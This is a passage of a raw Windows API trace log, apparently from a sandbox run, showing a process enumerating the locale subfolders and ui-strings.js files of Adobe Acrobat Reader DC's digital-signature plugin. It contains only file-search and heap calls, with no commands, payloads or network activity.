lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33157f0 [0277.141] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.142] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2452, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.142] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2452, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.142] FindClose (in: hFindFile=0x33157f0 | out: hFindFile=0x33157f0) returned 1 [0277.142] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.142] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0277.142] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0277.142] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\nl-nl\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33158b0 [0277.142] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.142] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x26c5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.143] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x26c5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.143] FindClose (in: hFindFile=0x33158b0 | out: hFindFile=0x33158b0) returned 1 [0277.143] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.143] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0277.143] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0277.143] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\pl-pl\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315ab0 [0277.143] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.143] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x27c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.144] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x27c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.144] FindClose (in: hFindFile=0x3315ab0 | out: hFindFile=0x3315ab0) returned 1 [0277.144] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.144] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0277.144] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0277.144] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\pt-br\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315830 [0277.145] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.145] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x252a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.145] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x252a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.145] FindClose (in: hFindFile=0x3315830 | out: hFindFile=0x3315830) returned 1 [0277.145] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.145] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0277.145] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0277.145] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\ro-ro\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33156b0 [0277.146] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.146] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x280a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.146] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x280a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.146] FindClose (in: hFindFile=0x33156b0 | out: hFindFile=0x33156b0) returned 1 [0277.146] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.146] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0277.146] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0277.146] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\root\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315a30 [0277.147] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.147] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2364, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.147] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2364, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.147] FindClose (in: hFindFile=0x3315a30 | out: hFindFile=0x3315a30) returned 1 [0277.147] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.147] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0277.147] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0277.147] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\ru-ru\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315cf0 [0277.148] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.148] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.148] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.148] FindClose (in: hFindFile=0x3315cf0 | out: hFindFile=0x3315cf0) returned 1 [0277.148] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.149] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0277.149] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0277.149] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\sk-sk\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33159f0 [0277.150] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.150] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2920, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.150] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2920, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.150] FindClose (in: hFindFile=0x33159f0 | out: hFindFile=0x33159f0) returned 1 [0277.151] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.151] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0277.151] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0277.151] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\sl-si\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 